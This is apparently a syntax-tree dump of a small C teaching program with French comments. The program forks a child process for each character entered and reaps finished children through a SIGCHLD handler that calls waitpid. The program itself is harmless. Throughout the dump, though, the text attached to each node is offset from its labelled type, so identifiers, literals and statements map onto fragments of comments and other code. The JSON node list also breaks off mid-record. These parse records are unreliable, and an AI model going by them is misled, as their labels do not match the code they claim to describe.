(argument_list) "loquant jusqu'à ce qu'u" (() "l" (string_literal) "oquant jusqu'à ce qu'" (") "o" (string_content) "quant jusqu'à ce " (escape_sequence) "qu" (") "'" ()) "u" (;) "n" (comment) "lisateur rentre un char */\n c = get_one_letter(); \n\n /* L" (expression_statement) "ilisateur a envoyé un" (assignment_expression) "ilisateur a envoyé u" (identifier) "i" (=) "i" (call_expression) "ateur a envoyé u" (identifier) "ateur a envoyé" (argument_list) " u" (() " " ()) "u" (;) "n" (comment) "uete en rentrant un char, \n * il faut la traiter, du coup on fork pour créer un fils.\n */\n x = fork(); \n \n /* Erreur */\n " (expression_statement) "(x == -1){\n" (assignment_expression) "(x == -1){" (identifier) "(" (=) " " (call_expression) "= -1){" (identifier) "= -1" (argument_list) "){" (() ")" ()) "{" (;) "\n" (comment) "or("Erreur\n" (if_statement) "\n exit(1);\n }\n \n /* Fils */\n if(x == 0){ \n " (if) "\n " (parenthesized_expression) " exit(1)" (() " " (binary_expression) " exit(1" (identifier) " " (==) "xi" (number_literal) "(1" ()) ")" (compound_statement) ";\n }\n \n /* Fils */\n if(x == 0){ \n " ({) ";" (expression_statement) "\n \n /* Fils */\n " (call_expression) "\n \n /* Fils */\n " (identifier) "\n \n " (argument_list) "/* Fils */\n " (() "/" (string_literal) "* Fils */\n" (") "*" (string_content) " Fils " (escape_sequence) "*/" (") "\n" ()) " " (;) " " (expression_statement) " == 0){ " (call_expression) " == 0){" (identifier) " == " (argument_list) "0){" (() "0" (number_literal) ")" ()) "{" (;) " " (}) " " (comment) "fils trait" (if_statement) "a demande, et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /" (if) "a " (parenthesized_expression) "demande," (() "d" (binary_expression) "emande" (identifier) "e" (==) "an" (number_literal) "e" ()) "," (compound_statement) " et meurt. */\n printf("Demande traitée : Char = %d\n", c); \n exit(1);\n }\n \n /* Père */\n if(x > 0){ \n /" ({) " " (comment) "urt. */\n printf("Demande traitée : Char " (expression_statement) "\n", c); \n exit(1);\n }\n \n /* Père */\n " (call_expression) "\n", c); \n exit(1);\n }\n \n /* Père */\n " (identifier) "\n", c" (argument_list) "); \n exit(1);\n }\n \n /* Père */\n " (() ")" (string_literal) "; \n exit(1);\n }\n \n /* Père " (") ";" (string_content) " \n exit(1);\n }\n \n /* Pè" (escape_sequence) "re" (") " " (,) "*" (identifier) "\n" ()) " " (;) " " (expression_statement) "> 0){ \n " (call_expression) "> 0){ \n" (identifier) "> 0)" (argument_list) "{ \n" (() "{" (number_literal) " " ()) "\n" (;) " " (}) "/" (comment) "ère boucle " (if_statement) "plement et attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fi" (if) "pl" (parenthesized_expression) "ement e" (() "e" (binary_expression) "ment " (identifier) "m" (>) "n" (number_literal) " " ()) "e" (compound_statement) "t attend la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* Le fi" ({) "t" (comment) "d la prochaine requete \n * de l'utilisateur (ici, le prochain char).\n */\n }\n }\n\n return EXIT_SUCCESS;\n}\n\n/* L" (}) "i" (}) "," (return_statement) " mourrant, envoie un" (return) " mourr" (identifier) "nt, envoie u" (;) "n" (}) "s" (comment) "nal SIGCHLD au père. \n * Ce signal n'est pas traité par défaut, il faut donc le traiter soit même. \n * On a définit à la ligne 36 que lorsque l'on recevait le signal numéro 17 (soit SIGCHLD)\n * le programme doit executer instantanément la fonction handler().\n * La fonction handler gère le problème du fils en le tuant vraiment grâce à la fonction waitpid().\n*/"
334
0
{"language": "c", "success": true, "metadata": {"lines": 93, "avg_line_length": 31.35, "nodes": 181, "errors": 0, "source_hash": "24d6ead3c196d3e58b6fa8eadb52516dc17593a0dded5a77ad7135e3d870e9fe", "categorized_nodes": 137}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 9}, "end_point": {"row": 0, "column": 19}}, {"id": 3, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<stdio.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 18}}, {"id": 6, "type": "preproc_include", "text": "#include <unistd.h>\n", "parent": null, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<unistd.h>", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 19}}, {"id": 9, "type": "preproc_include", "text": "#include <pthread.h>\n", "parent": null, "children": [10, 11], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<pthread.h>", "parent": 9, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 20}}, {"id": 12, "type": "preproc_include", "text": "#include <sys/types.h>\n", "parent": null, "children": [13, 14], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<sys/types.h>", "parent": 12, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 22}}, {"id": 15, "type": "preproc_include", "text": "#include <sys/syscall.h>\n", "parent": null, "children": [16, 17], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<sys/syscall.h>", "parent": 15, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 24}}, {"id": 18, "type": "preproc_include", "text": "#include <sys/wait.h>\n", "parent": null, "children": [19, 20], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 20, "type": "system_lib_string", "text": "<sys/wait.h>", "parent": 18, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 21}}, {"id": 21, "type": "function_definition", "text": "andler(int signal){\n\t/* La fonction waitpid(pid_t pid, int *status, int options) \n\t * suspend l'ex\u00e9cution du processus courant jusqu'\u00e0 ce \n\t * que le processus fils correspondant au pid se termine, \n\t * ou jusqu'\u00e0 ce qu'un signal \u00e0 intercepter arrive.\n\t *\n\t * Arguments :\n\t *\tpid : le pid du fils, ici -1 signifie n'importe quel fils\n\t *\tstatus : sert \u00e0 stocker les infos sur la terminaison du fils, ici NULL on s'en fout\n\t *\toptions : WHNOHANG permet \u00e0 la fonction de ne pas \u00eatre bloquante\n\t *\n\t * Return :\t\n\t * \twaitpid renvoie un entier > 0 si on a bien tu\u00e9 le fils\n\t*/\n\twhile (waitpid(-1, NULL, WNOHANG) > 0);\n}\n\nint get_one_", "parent": null, "children": [22, 23], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 27, "column": 1}}, {"id": 22, "type": "primitive_type", "text": "andl", "parent": 21, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 4}}, {"id": 23, "type": "function_declarator", "text": "r(int signal){\n\t/* ", "parent": 21, "children": [24, 25], "start_point": {"row": 12, "column": 5}, "end_point": {"row": 12, "column": 24}}, {"id": 24, "type": "identifier", "text": "r(int s", "parent": 23, "children": [], "start_point": {"row": 12, "column": 5}, "end_point": {"row": 12, "column": 12}}, {"id": 25, "type": "parameter_list", "text": "ignal){\n\t/* ", "parent": 23, "children": [26], "start_point": {"row": 12, "column": 12}, "end_point": {"row": 12, "column": 24}}, {"id": 26, "type": "parameter_declaration", "text": "gnal){\n\t/*", "parent": 25, "children": [27, 28], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 12, "column": 23}}, {"id": 27, "type": "primitive_type", "text": "gna", "parent": 26, "children": [], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 12, "column": 16}}, {"id": 28, "type": "identifier", "text": "){\n\t/*", "parent": 26, "children": [], "start_point": {"row": 12, "column": 17}, "end_point": {"row": 12, "column": 23}}, {"id": 29, "type": "while_statement", "text": "(-1, NULL, WNOHANG) > 0);\n}\n\nint get_on", "parent": 21, "children": [30], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 40}}, {"id": 30, "type": "parenthesized_expression", "text": "ULL, WNOHANG) > 0);\n}\n\nint get_o", "parent": 29, "children": [31], "start_point": {"row": 26, "column": 7}, "end_point": {"row": 26, "column": 39}}, {"id": 31, "type": "binary_expression", "text": "LL, WNOHANG) > 0);\n}\n\nint get_", "parent": 30, "children": [32, 39, 40], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 38}}, {"id": 32, "type": "call_expression", "text": "LL, WNOHANG) > 0);\n}\n\nint ", "parent": 31, "children": [33, 34], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 34}}, {"id": 33, "type": "identifier", "text": "LL, WNO", "parent": 32, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 15}}, {"id": 34, "type": "argument_list", "text": "HANG) > 0);\n}\n\nint ", "parent": 32, "children": [35, 36, 38], "start_point": {"row": 26, "column": 15}, "end_point": {"row": 26, "column": 34}}, {"id": 35, "type": "number_literal", "text": "AN", "parent": 34, "children": [], "start_point": {"row": 26, "column": 16}, "end_point": {"row": 26, "column": 18}}, {"id": 36, "type": "null", "text": " > 0", "parent": 34, "children": [37], "start_point": {"row": 26, "column": 20}, "end_point": {"row": 26, "column": 24}}, {"id": 37, "type": "NULL", "text": " > 0", "parent": 36, "children": [], "start_point": {"row": 26, "column": 20}, "end_point": {"row": 26, "column": 24}}, {"id": 38, "type": "identifier", "text": "\n}\n\nint", "parent": 34, "children": [], "start_point": {"row": 26, "column": 26}, "end_point": {"row": 26, "column": 33}}, {"id": 39, "type": ">", "text": "e", "parent": 31, "children": [], "start_point": {"row": 26, "column": 35}, "end_point": {"row": 26, "column": 36}}, {"id": 40, "type": "number_literal", "text": "_", "parent": 31, "children": [], "start_point": {"row": 26, "column": 37}, "end_point": {"row": 26, "column": 38}}, {"id": 41, "type": "function_definition", "text": "tter(void){\n\tint c, first;\n\tfirst = c = getchar();\n\twhile(c != '\\n' && c != EOF){\n\t\tc = getchar();\n\t}\n\treturn(first);\n}\n\nint main(){\n", "parent": null, "children": [42, 43], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 36, "column": 1}}, {"id": 42, "type": "primitive_type", "text": "tte", "parent": 41, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 3}}, {"id": 43, "type": "function_declarator", "text": "(void){\n\tint c, firs", "parent": 41, "children": [44, 45], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 24}}, {"id": 44, "type": "identifier", "text": "(void){\n\tint c", "parent": 43, "children": [], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 18}}, {"id": 45, "type": "parameter_list", "text": ", firs", "parent": 43, "children": [46], "start_point": {"row": 29, "column": 18}, "end_point": {"row": 29, "column": 24}}, {"id": 46, "type": "parameter_declaration", "text": " fir", "parent": 45, "children": [47], "start_point": {"row": 29, "column": 19}, "end_point": {"row": 29, "column": 23}}, {"id": 47, "type": "primitive_type", "text": " fir", "parent": 46, "children": [], "start_point": {"row": 29, "column": 19}, "end_point": {"row": 29, "column": 23}}, {"id": 48, "type": "declaration", "text": "\tfirst = c = ", "parent": 41, "children": [49, 50, 51], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 14}}, {"id": 49, "type": "primitive_type", "text": "\tfi", "parent": 48, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 4}}, {"id": 50, "type": "identifier", "text": "s", "parent": 48, "children": [], "start_point": {"row": 30, "column": 5}, "end_point": {"row": 30, "column": 6}}, {"id": 51, "type": "identifier", "text": "= c =", "parent": 48, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 13}}, {"id": 52, "type": "assignment_expression", "text": "tchar();\n\twhile(c != ", "parent": 41, "children": [53, 54], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 22}}, {"id": 53, "type": "identifier", "text": "tchar", "parent": 52, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 6}}, {"id": 54, "type": "assignment_expression", "text": "\n\twhile(c != ", "parent": 52, "children": [55, 56, 57], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 22}}, {"id": 55, "type": "identifier", "text": "\n", "parent": 54, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 10}}, {"id": 56, "type": "=", "text": "w", "parent": 54, "children": [], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 12}}, {"id": 57, "type": "call_expression", "text": "ile(c != ", "parent": 54, "children": [58, 59], "start_point": {"row": 31, "column": 13}, "end_point": {"row": 31, "column": 22}}, {"id": 58, "type": "identifier", "text": "ile(c !", "parent": 57, "children": [], "start_point": {"row": 31, "column": 13}, "end_point": {"row": 31, "column": 20}}, {"id": 59, "type": "argument_list", "text": "= ", "parent": 57, "children": [], "start_point": {"row": 31, "column": 20}, "end_point": {"row": 31, "column": 22}}, {"id": 60, "type": "while_statement", "text": "' && c != EOF){\n\t\tc = getchar();\n\t}\n\treturn(first", "parent": 41, "children": [61], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 34, "column": 2}}, {"id": 61, "type": "parenthesized_expression", "text": "c != EOF){\n\t\tc = getcha", "parent": 60, "children": [62], "start_point": {"row": 32, "column": 6}, "end_point": {"row": 32, "column": 29}}, {"id": 62, "type": "binary_expression", "text": " != EOF){\n\t\tc = getch", "parent": 61, "children": [63, 69, 70], "start_point": {"row": 32, "column": 7}, "end_point": {"row": 32, "column": 28}}, {"id": 63, "type": "binary_expression", "text": " != EOF){", "parent": 62, "children": [64, 65, 66], "start_point": {"row": 32, "column": 7}, "end_point": {"row": 32, "column": 16}}, {"id": 64, "type": "identifier", "text": " ", "parent": 63, "children": [], "start_point": {"row": 32, "column": 7}, "end_point": {"row": 32, "column": 8}}, {"id": 65, "type": "!=", "text": "= ", "parent": 63, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 11}}, {"id": 66, "type": "char_literal", "text": "OF){", "parent": 63, "children": [67, 68], "start_point": {"row": 32, "column": 12}, "end_point": {"row": 32, "column": 16}}, {"id": 67, "type": "'", "text": "O", "parent": 66, "children": [], "start_point": {"row": 32, "column": 12}, "end_point": {"row": 32, "column": 13}}, {"id": 68, "type": "escape_sequence", "text": "F)", "parent": 66, "children": [], "start_point": {"row": 32, "column": 13}, "end_point": {"row": 32, "column": 15}}, {"id": 69, "type": "&&", "text": "\t\t", "parent": 62, "children": [], "start_point": {"row": 32, "column": 17}, "end_point": {"row": 32, "column": 19}}, {"id": 70, "type": "binary_expression", "text": " = getch", "parent": 62, "children": [71, 72, 73], "start_point": {"row": 32, "column": 20}, "end_point": {"row": 32, "column": 28}}, {"id": 71, "type": "identifier", "text": " ", "parent": 70, "children": [], "start_point": {"row": 32, "column": 20}, "end_point": {"row": 32, "column": 21}}, {"id": 72, "type": "!=", "text": " g", "parent": 70, "children": [], "start_point": {"row": 32, "column": 22}, "end_point": {"row": 32, "column": 24}}, {"id": 73, "type": "identifier", "text": "tch", "parent": 70, "children": [], "start_point": {"row": 32, "column": 25}, "end_point": {"row": 32, "column": 28}}, {"id": 74, "type": "assignment_expression", "text": "\n\t}\n\treturn(f", "parent": 60, "children": [75, 76], "start_point": {"row": 33, "column": 2}, "end_point": {"row": 33, "column": 15}}, {"id": 75, "type": "identifier", "text": "\n", "parent": 74, "children": [], "start_point": {"row": 33, "column": 2}, "end_point": {"row": 33, "column": 3}}, {"id": 76, "type": "call_expression", "text": "\treturn(f", "parent": 74, "children": [77], "start_point": {"row": 33, "column": 6}, "end_point": {"row": 33, "column": 15}}, {"id": 77, "type": "argument_list", "text": "(f", "parent": 76, "children": [], "start_point": {"row": 33, "column": 13}, "end_point": {"row": 33, "column": 15}}, {"id": 78, "type": "return_statement", "text": "\n}\n\nint main()", "parent": 41, "children": [79], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 15}}, {"id": 79, "type": "parenthesized_expression", "text": "t main(", "parent": 78, "children": [80], "start_point": {"row": 35, "column": 7}, "end_point": {"row": 35, "column": 14}}, {"id": 80, "type": "identifier", "text": " main", "parent": 79, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 13}}, {"id": 81, "type": "function_definition", "text": "nt x;\n\tchar c;\n\n\t/* On cr\u00e9e une variable qui va nous permettre de traiter les signaux */\n\tstruct sigaction sa; \n\n\t/* On d\u00e9finit la fonction \u00e0 appeler en cas de signal re\u00e7u */\n\tsa.sa_handler = handler; \n\n\t/* On ajoute notre masque au masque d\u00e9j\u00e0 existant. */\n\tsigemptyset(&sa.sa_mask); \n\n\t/* On r\u00e9active certaines fonctions de lecture/\u00e9critures qui sont \n\t* habituellement d\u00e9sactiv\u00e9es lorsqu'un signal est trait\u00e9. \n\t*/\n\tsa.sa_flags = SA_RESTART; \n\n\t/* On ajoute une r\u00e9action au signal num\u00e9ro 17 (qui correspond au signal SIGCHLD, soit la mort d'un fils).\n\t * On a acc\u00e8s aux num\u00e9ros des signaux via la commande \"kill -l\" dans le bash.\n\t*/\n\tsigaction(17, &sa, NULL);\n \n \t/* C'est un serveur, le processus de base doit toujours \u00eatre actif.\n\t * Lorsqu'un utilisateur envoie une demande, elle est trait\u00e9e dans \n\t * un fils qui mourra lorsque la demande sera trait\u00e9e.\n\t*/\n\twhile(1) {\n\t\tprintf(\"Rentrez un char :\\n\");\n\n\t\t/* Bloquant jusqu'\u00e0 ce qu'un utilisateur rentre un char */\n\t\tc = get_one_letter(); \n\n\t\t/* L'utilisateur a envoy\u00e9 une requete en rentrant un char, \n\t\t * il faut la traiter, du coup on fork pour cr\u00e9er un fils.\n\t\t*/\n\t\tx = fork(); \n\t\t\n\t\t/* Erreur */\n\t\tif(x == -1){\n\t\t\tperror(\"Erreur\\n\");\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* Fils */\n\t\tif(x == 0){ \n\t\t\t/* Le fils traite la demande, et meurt. */\n\t\t\tprintf(\"Demande trait\u00e9e : Char = %d\\n\", c); \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re */\n\t\tif(x > 0){ \n\t\t /* Le p\u00e8re boucle simplement et attend la prochaine requete \n\t\t * de l'utilisateur (ici, le prochain char).\n\t\t */\n\t\t}\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n\n/* Le fils, en mourrant, envoie un s", "parent": null, "children": [82, 83], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 98, "column": 1}}, {"id": 82, "type": "primitive_type", "text": "nt ", "parent": 81, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 3}}, {"id": 83, "type": "function_declarator", "text": ";\n\tcha", "parent": 81, "children": [84, 85], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 10}}, {"id": 84, "type": "identifier", "text": ";\n\tc", "parent": 83, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 8}}, {"id": 85, "type": "parameter_list", "text": "ha", "parent": 83, "children": [], "start_point": {"row": 38, "column": 8}, "end_point": {"row": 38, "column": 10}}, {"id": 86, "type": "declaration", "text": ";\n\n\t/*", "parent": 81, "children": [87], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 7}}, {"id": 87, "type": "identifier", "text": "/", "parent": 86, "children": [], "start_point": {"row": 39, "column": 5}, "end_point": {"row": 39, "column": 6}}, {"id": 88, "type": "declaration", "text": "n cr\u00e9e ", "parent": 81, "children": [89, 90], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 8}}, {"id": 89, "type": "primitive_type", "text": "n cr", "parent": 88, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 5}}, {"id": 90, "type": "identifier", "text": "e", "parent": 88, "children": [], "start_point": {"row": 40, "column": 6}, "end_point": {"row": 40, "column": 7}}, {"id": 91, "type": "declaration", "text": "n sa; \n\n\t/* On d\u00e9fin", "parent": 81, "children": [92, 95], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 21}}, {"id": 92, "type": "struct_specifier", "text": "n sa; \n\n\t/* On d", "parent": 91, "children": [93, 94], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 17}}, {"id": 93, "type": "struct", "text": "n sa; ", "parent": 92, "children": [], "start_point": {"row": 43, "column": 1}, "end_point": {"row": 43, "column": 7}}, {"id": 94, "type": "type_identifier", "text": "\n\t/* On d", "parent": 92, "children": [], "start_point": {"row": 43, "column": 8}, "end_point": {"row": 43, "column": 17}}, {"id": 95, "type": "identifier", "text": "fi", "parent": 91, "children": [], "start_point": {"row": 43, "column": 18}, "end_point": {"row": 43, "column": 20}}, {"id": 96, "type": "assignment_expression", "text": "ndler; \n\n\t/* On ajoute ", "parent": 81, "children": [97, 100, 101], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 24}}, {"id": 97, "type": "field_expression", "text": "ndler; \n\n\t/* ", "parent": 96, "children": [98, 99], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 14}}, {"id": 98, "type": "identifier", "text": "nd", "parent": 97, "children": [], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 3}}, {"id": 99, "type": "field_identifier", "text": "er; \n\n\t/* ", "parent": 97, "children": [], "start_point": {"row": 46, "column": 4}, "end_point": {"row": 46, "column": 14}}, {"id": 100, "type": "=", "text": "n", "parent": 96, "children": [], "start_point": {"row": 46, "column": 15}, "end_point": {"row": 46, "column": 16}}, {"id": 101, "type": "identifier", "text": "ajoute ", "parent": 96, "children": [], "start_point": {"row": 46, "column": 17}, "end_point": {"row": 46, "column": 24}}, {"id": 102, "type": "call_expression", "text": "ask); \n\n\t/* On r\u00e9active ", "parent": 81, "children": [103, 104], "start_point": {"row": 49, "column": 1}, "end_point": {"row": 49, "column": 25}}, {"id": 103, "type": "identifier", "text": "ask); \n\n\t/*", "parent": 102, "children": [], "start_point": {"row": 49, "column": 1}, "end_point": {"row": 49, "column": 12}}, {"id": 104, "type": "argument_list", "text": " On r\u00e9active ", "parent": 102, "children": [105], "start_point": {"row": 49, "column": 12}, "end_point": {"row": 49, "column": 25}}, {"id": 105, "type": "pointer_expression", "text": "On r\u00e9active", "parent": 104, "children": [106, 107], "start_point": {"row": 49, "column": 13}, "end_point": {"row": 49, "column": 24}}, {"id": 106, "type": "&", "text": "O", "parent": 105, "children": [], "start_point": {"row": 49, "column": 13}, "end_point": {"row": 49, "column": 14}}, {"id": 107, "type": "field_expression", "text": "n r\u00e9active", "parent": 105, "children": [108, 109], "start_point": {"row": 49, "column": 14}, "end_point": {"row": 49, "column": 24}}, {"id": 108, "type": "identifier", "text": "n ", "parent": 107, "children": [], "start_point": {"row": 49, "column": 14}, "end_point": {"row": 49, "column": 16}}, {"id": 109, "type": "field_identifier", "text": "\u00e9active", "parent": 107, "children": [], "start_point": {"row": 49, "column": 17}, "end_point": {"row": 49, "column": 24}}, {"id": 110, "type": "assignment_expression", "text": " \n\n\t/* On ajoute une r\u00e9a", "parent": 81, "children": [111, 114, 115], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 25}}, {"id": 111, "type": "field_expression", "text": " \n\n\t/* On a", "parent": 110, "children": [112, 113], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 12}}, {"id": 112, "type": "identifier", "text": " \n", "parent": 111, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 3}}, {"id": 113, "type": "field_identifier", "text": "\t/* On a", "parent": 111, "children": [], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 12}}, {"id": 114, "type": "=", "text": "o", "parent": 110, "children": [], "start_point": {"row": 54, "column": 13}, "end_point": {"row": 54, "column": 14}}, {"id": 115, "type": "identifier", "text": "te une r\u00e9a", "parent": 110, "children": [], "start_point": {"row": 54, "column": 15}, "end_point": {"row": 54, "column": 25}}, {"id": 116, "type": "call_expression", "text": "\t/* C'est un serveur, le", "parent": 81, "children": [117, 118], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 25}}, {"id": 117, "type": "identifier", "text": "\t/* C'est", "parent": 116, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 10}}, {"id": 118, "type": "argument_list", "text": " un serveur, le", "parent": 116, "children": [119, 120, 123], "start_point": {"row": 59, "column": 10}, "end_point": {"row": 59, "column": 25}}, {"id": 119, "type": "number_literal", "text": "un", "parent": 118, "children": [], "start_point": {"row": 59, "column": 11}, "end_point": {"row": 59, "column": 13}}, {"id": 120, "type": "pointer_expression", "text": "erv", "parent": 118, "children": [121, 122], "start_point": {"row": 59, "column": 15}, "end_point": {"row": 59, "column": 18}}, {"id": 121, "type": "&", "text": "e", "parent": 120, "children": [], "start_point": {"row": 59, "column": 15}, "end_point": {"row": 59, "column": 16}}, {"id": 122, "type": "identifier", "text": "rv", "parent": 120, "children": [], "start_point": {"row": 59, "column": 16}, "end_point": {"row": 59, "column": 18}}, {"id": 123, "type": "null", "text": "r, l", "parent": 118, "children": [124], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 24}}, {"id": 124, "type": "NULL", "text": "r, l", "parent": 123, "children": [], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 24}}, {"id": 125, "type": "while_statement", "text": "char :\\n\");\n\n\t\t/* Bloquant jusqu'\u00e0 ce qu'un utilisateur rentre un char */\n\t\tc = get_one_letter(); \n\n\t\t/* L'utilisateur a envoy\u00e9 une requete en rentrant un char, \n\t\t * il faut la traiter, du coup on fork pour cr\u00e9er un fils.\n\t\t*/\n\t\tx = fork(); \n\t\t\n\t\t/* Erreur */\n\t\tif(x == -1){\n\t\t\tperror(\"Erreur\\n\");\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* Fils */\n\t\tif(x == 0){ \n\t\t\t/* Le fils traite la demande, et meurt. */\n\t\t\tprintf(\"Demande trait\u00e9e : Char = %d\\n\", c); \n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t/* P\u00e8re */\n\t\tif(x > 0){ \n\t\t /* Le p\u00e8re boucle simplement et attend la prochaine requete \n\t\t * de l'utilisateur (ici, le prochain char).\n\t\t */\n\t\t}\n\t}\n\n\treturn EXIT_SUCCESS;\n}\n\n/* Le fils,", "parent": 81, "children": [126], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 95, "column": 2}}, {"id": 126, "type": "parenthesized_expression", "text": ":\\n", "parent": 125, "children": [127], "start_point": {"row": 65, "column": 6}, "end_point": {"row": 65, "column": 9}}, {"id": 127, "type": "number_literal", "text": "\\", "parent": 126, "children": [], "start_point": {"row": 65, "column": 7}, "end_point": {"row": 65, "column": 8}}, {"id": 128, "type": "call_expression", "text": "\t\t/* Bloquant jusqu'\u00e0 ce qu'u", "parent": 125, "children": [129, 130], "start_point": {"row": 66, "column": 2}, "end_point": {"row": 66, "column": 31}}, {"id": 129, "type": "identifier", "text": "\t\t/* B", "parent": 128, "children": [], "start_point": {"row": 66, "column": 2}, "end_point": {"row": 66, "column": 8}}, {"id": 130, "type": "argument_list", "text": "loquant jusqu'\u00e0 ce qu'u", "parent": 128, "children": [131], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 31}}, {"id": 131, "type": "string_literal", "text": "oquant jusqu'\u00e0 ce qu'", "parent": 130, "children": [132], "start_point": {"row": 66, "column": 9}, "end_point": {"row": 66, "column": 30}}, {"id": 132, "type": "escape_sequence", "text": "qu", "parent": 131, "children": [], "start_point": {"row": 66, "column": 27}, "end_point": {"row": 66, "column": 29}}, {"id": 133, "type": "assignment_expression", "text": "ilisateur a envoy\u00e9 u", "parent": 125, "children": [134, 135, 136], "start_point": {"row": 69, "column": 2}, "end_point": {"row": 69, "column": 22}}, {"id": 134, "type": "identifier", "text": "i", "parent": 133, "children": [], "start_point": {"row": 69, "column": 2}, "end_point": {"row": 69, "column": 3}}, {"id": 135, "type": "=", "text": "i", "parent": 133, "children": [], "start_point": {"row": 69, "column": 4}, "end_point": {"row": 69, "column": 5}}, {"id": 136, "type": "call_expression", 